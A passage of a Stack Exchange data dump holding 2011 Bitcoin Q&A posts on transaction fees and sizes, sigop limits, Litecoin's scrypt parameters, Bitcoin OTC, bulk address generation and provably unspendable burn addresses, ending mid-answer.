  <row Id="1824" PostTypeId="2" ParentId="1823" CreationDate="2011-10-31T15:10:14.673" Score="7" Body="&lt;p&gt;If there is a max transaction size it is much higher than 100 bytes. Not sure what that snippet is refering to but the average transaction is closer to ~300 bytes looking at the average # of transactions and block size for last 1000 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What limits transaction size is cost.  As transaction size (of all transactions awaiting next block) increases the min required fee increases non-linearly.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0.01 BTC fee per kilobyte of transaction, but: &#xA;  If the blocksize (size of all transactions currently waiting to be included in a block) is less than 27 kB, transactions are free. &#xA;  If the blocksize is more than 250 kB, transactions get increasingly more expensive as the blocksize approaches the limit of 500 kB. Sending a transaction when the blocksize is 400 kB will cost 5 times the normal amount; sending when it's 499 kB will cost 500x, etc. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could make a 500KB transaction but the required minimum fee would be 5BTC.  The developers have indicated they intend to change transaction fee rules in the future but given block space is a valuable commodity any new rules are likely to be constructed to encourage (via larger fees) smaller transaction sizes.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-31T15:16:08.003" LastActivityDate="2011-10-31T15:16:08.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1825" PostTypeId="1" CreationDate="2011-10-31T15:40:29.850" Score="7" ViewCount="514" Body="&lt;p&gt;As transaction size, the number of signature checks per transaction can affect client performance and the inclusion of many O_CHECKSIG opcodes could be used as a tool for denial-of-service attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found in CTransaction::AcceptToMemoryPool() the following check:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Rather not work on nonstandard transactions&#xA;    if (GetSigOpCount() &gt; 2 || ::GetSerializeSize(*this, SER_NETWORK) &amp;lt; 100)&#xA;        return error(&quot;AcceptToMemoryPool() : nonstandard transaction&quot;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I suppose the OP_CHECKSIG limit is 2, which is fine for security but this limit prevents users from using the &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_4%3a_Using_external_state&quot;&gt;advanced contracts&lt;/a&gt; Bitcoin is suppose to allow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is the limit imposed by MAX_BLOCK_SIGOPS, but the limit applies to whole blocks, and only indirectly limit the sigops of a single transaction.&lt;/p&gt;&#xA;" OwnerUserId="638" LastActivityDate="2011-10-31T20:28:51.430" Title="What is the maximum number of signature check operations a transaction script can request?" Tags="|transactions|attack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1826" PostTypeId="2" ParentId="1746" CreationDate="2011-10-31T16:17:34.090" Score="2" Body="&lt;p&gt;Litecoin doesn't use the same algorithm as Bitcoin. Bitcoin hashes are SHA-256 based.&#xA;Litecoin hashes are Scrypt based. You must use a miner capable of understanding scrypt.  Early in Litecoin history there were no GPU capable miners as the performance of GPU relative to CPU was very poor.  In time GPU performance increased and today most mining software supports both SHA-256 and Scrypt.  Part of the reason that GPU mining is possible is that the Scrypt parameters used in Litecoin (and other clones) have been selected to reduce the &quot;memory hardness&quot; of the algorithm.  The default parameters for scrypt are n=2^20, r=8, p=1.  The Scrypt used by Litecoin uses the parameters n=2^10, r=1, p=1 making it roughly 100x less memory hard and allowing GPUs to out perform CPUs while they are unable at n=2^20, r=8, p=1.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2013-07-13T05:06:51.517" LastActivityDate="2013-07-13T05:06:51.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1827" PostTypeId="2" ParentId="1821" CreationDate="2011-10-31T19:25:54.927" Score="1" Body="&lt;p&gt;It is possible if the client crashed it didn't finish processing the block containing your transaction (due to bad timing) and now that it is past that block doesn't go back to &quot;double check&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a command line argument -rescan which forces the client to recheck every block for transactions related to the current wallet. In windows it would be done from Command prompt &quot;bitcoin -rescan&quot;.  I assume OS X has some sort of commandline option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can stop the client.  Make a backup of your wallet.dat.  Delete all the files from bitcoin configuration folder other than wallet.dat file.  Restart the client.  It should show 0 blocks and not have the &quot;bad transaction&quot;.  The client will download the blockchain. This could take an hour or more.  Once block chain is fully downloaded the transaction should appear and balance updated.  &lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-31T19:42:26.137" LastActivityDate="2011-10-31T19:42:26.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1828" PostTypeId="2" ParentId="1825" CreationDate="2011-10-31T19:36:39.203" Score="1" Body="&lt;p&gt;The error for nonstandard transaction is simply because they are not yet supported by mainline client.  Remember as writing Bitcoin is only version 0.4 so significat portions of the protocol have not been implemented yet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will notice the error being thrown is &quot;non standard transaction&quot; which is indicating the client doesn't have support for creating or validating non-standard transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Standard transactions are those with scriptPubKey of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt; OP_CHECKSIG  - transfer to IP Address OP_DUP OP_HASH160&lt;/li&gt;&#xA;&lt;li&gt; OP_EQUALVERIFY OP_CHECKSIG - transfer to Bitcoin Address&#xA;(hash of public key)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only other transaction type supported is generation transaction which doesn't have a scriptPubKey to identify it.  It is easily identified because every valid block must always have one and only one coinbase transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contracts are non-standard transactions and not supported by the client yet.  The code snippet is simply to prevent client from attempting to process, broacast or validate non-standard transactions.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-31T20:28:51.430" LastActivityDate="2011-10-31T20:28:51.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1829" PostTypeId="1" AcceptedAnswerId="1830" CreationDate="2011-10-31T23:02:10.243" Score="9" ViewCount="2678" Body="&lt;p&gt;I've heard of &lt;a href=&quot;http://bitcoin-otc.com/&quot;&gt;Bitcoin OTC&lt;/a&gt; and P2P exchanges, but never used one.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How does one start?&lt;/li&gt;&#xA;&lt;li&gt;What does the ranking/rating system mean?&lt;/li&gt;&#xA;&lt;li&gt;How are exchanges done / reported?&lt;/li&gt;&#xA;&lt;li&gt;Why can't I see any user rating when I view the &lt;a href=&quot;http://bitcoin-otc.com/vieworderbook.php&quot;&gt;orderbook&lt;/a&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Is it a for profit website?&lt;/li&gt;&#xA;&lt;li&gt;Are there fees?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="78" LastEditorUserId="37414" LastEditDate="2018-05-06T14:11:07.190" LastActivityDate="2020-04-22T13:18:20.143" Title="How does one use Bitcoin OTC?" Tags="|trading|otc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1830" PostTypeId="2" ParentId="1829" CreationDate="2011-10-31T23:39:01.853" Score="14" Body="&lt;p&gt;As the founder of bitcoin-otc, I think I'll be able to help you out here. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OTC uses gpg (the free software implementation of the PGP protocol) for authentication. So your first step is to register on OTC with your gpg key. The OTC wiki contains detailed instructions on this page: &lt;a href=&quot;http://wiki.bitcoin-otc.com/wiki/GPG_authentication&quot;&gt;http://wiki.bitcoin-otc.com/wiki/GPG_authentication&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rating system is a web of trust links between users. There is more documentation on the rating system here: &lt;a href=&quot;http://wiki.bitcoin-otc.com/wiki/OTC_Rating_System&quot;&gt;http://wiki.bitcoin-otc.com/wiki/OTC_Rating_System&lt;/a&gt; . I suggest that you pay particular attention to the 'relying on the rating' section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trades happen p2p - the OTC system is only an order aggregator as far as trading is concerned. Once orders are placed (which is not even a requirement, you can just hang out on the IRC channel and set up trades without ever using the order book), it is up to the individuals to talk to each other and set up the trade details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the order book view, you can see a person's ratings by clicking on his/her username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin-otc system is not a for-profit entity, nor a profitable one. There are no fees charged by the system for users to register and place orders. All order execution happens directly between people, the otc system does not intermediate either side of the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, there is plenty of documentation on the OTC website and wiki; I invite you to give it a read for further details. A good starting point would be the main user guide page: &lt;a href=&quot;http://wiki.bitcoin-otc.com/wiki/Using_bitcoin-otc&quot;&gt;http://wiki.bitcoin-otc.com/wiki/Using_bitcoin-otc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-10-31T23:39:01.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1831" PostTypeId="1" CreationDate="2011-11-01T01:03:37.180" Score="-2" ViewCount="350" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1635/what-software-and-skills-do-i-need&quot;&gt;What software and skills do I need?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have seen on the wiki, there are too many steps (hard steps for a non-geek person) to build a wallet. Is there a easy way for a new non-geek bitcoin user? (some kind of script?). Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I want to build my first wallet.&lt;/p&gt;&#xA;" OwnerUserId="491" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2011-11-01T03:11:02.540" Title="How to build a wallet in my computer?" Tags="|client|wallet|" AnswerCount="1" CommentCount="5" ClosedDate="2011-11-01T23:06:40.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="1832" PostTypeId="2" ParentId="1831" CreationDate="2011-11-01T01:15:47.477" Score="1" Body="&lt;p&gt;If you want to get your first wallet, just install the Bitcoin client and run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have a new wallet, backup your old wallet.dat and run the Bitcoin client again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to build a custom wallet with tailored structure and so forth, I don't think you're a non-geek user.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-01T01:15:47.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1836" PostTypeId="1" AcceptedAnswerId="1838" CreationDate="2011-11-01T10:09:12.097" Score="12" ViewCount="8647" Body="&lt;p&gt;I would like to generate a large number of &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot;&gt;public Bitcoin addresses&lt;/a&gt; (several hundred thousand) quickly and efficiently into a simple text file. What would be the easiest way to get this done? I'm just wondering if there are any particular scripts or services that handle this already without having to roll my own.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="307" LastEditDate="2011-11-01T15:18:50.640" LastActivityDate="2021-12-05T13:34:34.693" Title="How can I generate a large number of Bitcoin addresses?" Tags="|development|address|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1838" PostTypeId="2" ParentId="1836" CreationDate="2011-11-01T14:35:41.867" Score="6" Body="&lt;p&gt;If you want to generate a lot of keys in the wallet.dat, use &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Command-line_arguments&quot; rel=&quot;nofollow&quot;&gt;command line parameter&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-keypool=&amp;lt;n&amp;gt;       Set key pool size to &amp;lt;n&amp;gt; (default: 100)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can extract the results with &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;Pywallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make them separate, you will have to use a cryptography library that supports secp256k1 ECDSA, like the &lt;a href=&quot;http://www.bouncycastle.org/&quot; rel=&quot;nofollow&quot;&gt;Bouncy Castle&lt;/a&gt;. Simply generate private keys, use the library to generate public keys from them, and then convert them to classic Bitcoin address using &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow&quot;&gt;this algorithm&lt;/a&gt; (requires libraries that support SHA256 and RIPEMD-160).&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-11-01T18:21:53.113" LastActivityDate="2011-11-01T18:21:53.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1839" PostTypeId="2" ParentId="1836" CreationDate="2011-11-01T15:48:58.967" Score="9" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.0&quot;&gt;Vanitygen&lt;/a&gt; is a command-line tool that can be used to generate random bitcoin addresses. It also has OpenCL-compatible GPU version called oclvanitygen. Both can be built from source, &lt;a href=&quot;https://github.com/samr7/vanitygen&quot;&gt;GitHub&lt;/a&gt;, and both are included in the &lt;a href=&quot;http://www.sendspace.com/file/pjgrfj&quot;&gt;Windows binary package&lt;/a&gt;. PGP signature &lt;a href=&quot;http://insight.gotdns.org/~samr7/vanitygen-0.17-win.zip.asc&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-11-01T19:19:20.017" LastActivityDate="2011-11-01T19:19:20.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1840" PostTypeId="2" ParentId="1742" CreationDate="2011-11-01T17:55:05.713" Score="4" Body="&lt;p&gt;There's a very nice visualization of the most recent 4 hours' worth of transactions and whether they paid a fee or not, and how long it took each one to be confirmed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinstats.org/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinstats.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes it looks like fee-offering transactions have a significant advantage over no-fee transactions, other times it looks random.&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2011-11-01T17:55:05.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1841" PostTypeId="2" ParentId="1836" CreationDate="2011-11-01T18:36:13.057" Score="8" Body="&lt;p&gt;You can use &lt;a href=&quot;https://www.bitaddress.org&quot;&gt;bitaddress.org&lt;/a&gt;. It is a single HTML file so you can save it and generate lots of addresses offline using their Bulk Wallet tab. The biggest problem here is Javascript performance. With current hardware you can generate around 1000 addresses per minute. If you are willing to wait several hours (maybe leave the computer working overnight), this can solve your problem.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-11-01T18:36:13.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1842" PostTypeId="2" ParentId="1415" CreationDate="2011-11-02T01:58:15.000" Score="4" Body="&lt;p&gt;BitSafe is an opensource Debian based lightweight live distro designed to provide a multilanguage, easy and secure live environment for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a lot of innovative features like: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Onscreen keyboard to thwart keyloggers &lt;/li&gt;&#xA;&lt;li&gt;Encrypted storage partition for wallet and client&lt;/li&gt;&#xA;&lt;li&gt;Tor tunneling capabilities &lt;/li&gt;&#xA;&lt;li&gt;Minimal number of applications and installed packages to reduce attack surface&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=46916.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=46916.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rb1205/BitSafe&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rb1205/BitSafe&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-11-02T01:58:15.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1843" PostTypeId="1" CreationDate="2011-11-02T04:46:09.403" Score="5" ViewCount="4016" Body="&lt;p&gt;Where can I find a compiled litecoin minerd binary for Mac OS X?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a multi-coin implementation?&lt;/p&gt;&#xA;" OwnerUserId="645" LastEditorUserId="5406" LastEditDate="2016-03-16T07:50:14.053" LastActivityDate="2016-03-16T07:50:14.053" Title="Where can I download the Litecoin binary for OSX?" Tags="|litecoin|mac|mining-software|minerd|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1844" PostTypeId="1" AcceptedAnswerId="5425" CreationDate="2011-11-02T09:31:27.893" Score="10" ViewCount="13185" Body="&lt;p&gt;AFAIK, btc-e.com is the only place to show &lt;a href=&quot;https://btc-e.com/exchange/ltc_btc&quot; rel=&quot;nofollow&quot;&gt;LTC/BTC price graph&lt;/a&gt;. Is there a way to view these graphs for longer than the ~ 12 hours that are shown by default?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="196" LastEditDate="2013-03-03T13:59:49.597" LastActivityDate="2013-03-03T13:59:49.597" Title="Can I view price graphs for alternative currencies, longer than 12 hours?" Tags="|litecoin|charts|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1845" PostTypeId="1" AcceptedAnswerId="1850" CreationDate="2011-11-02T15:10:50.770" Score="6" ViewCount="3633" Body="&lt;p&gt;I just found &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/lxpr0/bitventory_a_simple_secure_auditable_ewallet/&quot;&gt;Bitventory&lt;/a&gt;, which seems to be an online wallet service that requires a minimal amount of trust (it's the major design goal, at least).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other services with similar goals or functionality?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2018-12-13T15:26:06.257" Title="What are some good online Bitcoin wallets based on client-side security?" Tags="|e-wallet|" AnswerCount="5" CommentCount="0" ClosedDate="2018-12-16T20:27:33.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="1846" PostTypeId="1" AcceptedAnswerId="1847" CreationDate="2011-11-02T15:49:33.483" Score="9" ViewCount="5053" Body="&lt;p&gt;I mean, you just need to install the software, and with the time, you will get lots of bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="647" LastEditorUserId="5406" LastEditDate="2016-03-07T10:34:36.510" LastActivityDate="2016-03-07T10:34:36.510" Title="Does the Bitcoin client generate bitcoins automatically?" Tags="|bitcoin-core|client|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1847" PostTypeId="2" ParentId="1846" CreationDate="2011-11-02T16:10:14.037" Score="8" Body="&lt;p&gt;Not really, there are a few issues you have to know about:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In order to generate Bitcoins, you have to be explicitly mining them. The standard client does not mine coins, it stores the keys you use to access them. You need to run a so called miner (like the &lt;a href=&quot;https://bitcointalk.org/?topic=3878.0&quot;&gt;GUIMiner&lt;/a&gt;) and you probably want to join a mining pool (like, &lt;a href=&quot;http://mining.bitcoin.cz/&quot;&gt;Slush's Pool&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Even if you are mining Bitcoins, you probably won't make too many coins unless you have some good hardware. You should check out what &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot;&gt;hashing speed your hardware has&lt;/a&gt; and then punch the hash speed in a &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot;&gt;dedicated calculator&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If you want to mine coins by yourself (without pool), the chances of getting coins are pretty small, again, check &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot;&gt;the calculator and look for &quot;Time to generate one block&quot;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So in short, you need specialised software and hardware to mine coins, but it's not hard to get started.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-02T16:10:14.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1848" PostTypeId="2" ParentId="1846" CreationDate="2011-11-02T16:41:24.293" Score="6" Body="&lt;p&gt;The earlier versions of the client did include a &quot;miner&quot; which generated bitcoins.  At that time the network was young and the amount of hashing power was low.  Including the miner in the client made sense as it gave new users a tangible benefit and adding hashing power to the network was useful.  However the network is now more than a million times more powerful than the early network.  Most of the hashing power comes from high end graphics cards or custom built hardware (FGPA).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option to use a CPU to add hashing power to the network (and earn coins) was removed from the client simply because the network the amount of hashing power it would add is minimal and thus the amount of coins the user would receive is negigible.  It was determined by development team that having a miner which used up electricity and no realistic chance of generating coins was a determent to adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today if you want Bitcoins there are three routes:&#xA; - Invest in some powerful hardware to mine for them (add hashing power to the network).&#xA; - Sell goods or services and accept payment in Bitcoins.&#xA; - Use an exchange or person to person transaction to trade money for Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reality is that as the network matures there is little need for every consumer to support the network.  The wallet &amp;amp; mining functions are no seperate specialized pieces of software.  As time goes on mining will likely become even more of specalized &quot;field&quot; where only the most efficient and largest miners can gain any significant revenue from mining.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-11-03T15:12:03.757" LastActivityDate="2011-11-03T15:12:03.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1849" PostTypeId="2" ParentId="1845" CreationDate="2011-11-02T16:44:44.600" Score="0" Body="&lt;p&gt;True client side security requires 2 party signed transactions which aren't currently implemented in the maineline client/protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a two party wallet both parties (the online wallet service provider and the owner) would need to sign the transaction with their independent private key in order for it to be accepted by the network.  The wallet provider never has access to user's private key and thus can never transfers users funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions that exist now are stopgap at best.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-11-02T16:44:44.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1850" PostTypeId="2" ParentId="1845" CreationDate="2011-11-02T19:36:40.760" Score="3" Body="&lt;p&gt;Yes there is such a service which provides exactly what your looking for it is called &lt;a href=&quot;https://www.strongcoin.com/&quot; rel=&quot;nofollow&quot;&gt;StrongCoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2011-11-02T19:36:40.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1851" PostTypeId="1" AcceptedAnswerId="1852" CreationDate="2011-11-02T20:34:22.973" Score="36" ViewCount="21669" Body="&lt;p&gt;(Following up to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/924/can-a-bitcoin-be-destroyed&quot;&gt;this question&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to put a bitcoin beyond use, the answer was to select a made up address. As this isn't a formal destruction of bitcoins, there's a risk that the private keys could be found to spend those &quot;destroyed&quot; bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone suggests an address, people might suspect that this address was selected because that person painstakingly looked for an address that looked like a made up address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can an address for bitcoin destruction be selected that everyone can be reasonably sure no-one's going to know the private keys to spend the destroyed bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2018-04-23T16:02:15.540" Title="How to generate a valid bitcoin address for destroying bitcoins?" Tags="|development|future-proof|destroy-bitcoins|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1852" PostTypeId="2" ParentId="1851" CreationDate="2011-11-02T20:52:55.377" Score="34" Body="&lt;h2&gt;Start with an invalid public key&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bitcoin addresses are the pubkeyhash (not pubkey) plus version and checksum information, encoded in base 58.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin address = version + RIPEMD-160(SHA-256( Public Key )) + checksum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The steps for converting a public key to an address can be found here:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Address&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the address uses the pubkeyhash not the actual pubkey we can exploit this by hashing an invalid pubkey (one which can't possibly exist) and thus produce a valid address from an invalid pubkey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to start we find an invalid public key.  &lt;strong&gt;All valid public keys begin with 0x04 if uncompressed and 0x02 or 0x03 if compressed.&lt;/strong&gt;  A pubkey beginning with any other value is undefined and thus there is no possible signature that can be created to satisfy that key requirement.  Since spending coins requires signing the transaction with the correct private key, an address which has no known private key is unspendable.  By using a public key which is known to not have a private key others can confirm that no private key exists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A valid Bitcoin public key (not address):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;An invalid public key&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are other ways to produce a known invalid public key.  ECDSA keys must be exactly 65 bytes if uncompressed or 33 bytes if compressed so a key with a different length will also be invalid.  For uncompressed keys the y value must be correctly produced from the x value.  The point must also lie on the curve.  It also can't be above the modulus for the curve.  So there are a lot of ways to produce provably invalid keys but it best to choose one which is obviously invalid.  This is probably the simplest obviously invalid public key.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0x00&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This public key is invalid for a number of reasons (not produced by private key multiplied by the generator, not located on the curve, not a valid point, but even simpler it doesn't have a valid prefix and is not the correct length).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The important thing is this isn't just some probably invalid key it is a provably invalid key.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should test your invalid public key against the reference client to ensure the client reports it as invalid as well.  The validity of keys is a consensus issue so this will not change short of a hard fork.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Produce a valid (but unspendable) address from your invalid public key&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You may wonder why we want the address to be valid.  All clients should validate addresses given by users to avoid accidental loss of funds.  So an invalid address is also unspendable but most users will find it impossible to send funds to the address.  A P2PkH address is the pubkeyhash with version and checksum information encoded in base58.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you provide an address to a Bitcoin client it decodes the address back down to the 'raw' pubkeyhash.  So producing a valid address means starting with a valid pubkeyhash.  This isn't a problem because the hash of anything is a valid hash.  Clients don't know what pubkey is hashed to produce the pubkeyhash as the underlying pubkey is not provided and hashing functions are one way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network only verifies that an address is in the right form, length, and has the right checksum when &quot;validating it&quot;.  Producing an address from a pubkey is beyond the scope of this question but there are utilities and the link above provides the steps.  The resulting pubkeyhash and encoded address will be seen as valid by the network and client but it requires a provably impossible private key to spend funds sent to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with just the address (and decoded pubkeyhash) a user can't verify that the underlying pubkey is invalid so you should publish the raw pubkey along with the address.  Users can recreate the address using any bitcoin client or tool and will produce the same address you provide.  Users now have a trustless way to verify that the coins indeed are unspendable.  Any coins sent to the address can never be spent and are effectively destroyed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hash collision&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Technically it is possible but improbable for more than one public key to have the same Bitcoin address. This is called a hash collision.  If public key p1 and public key p2 both hash to the same address A then privates keys for either of these public keys can spend the funds.  However the likely of this happening is very low.  Unless RIPEMD hash 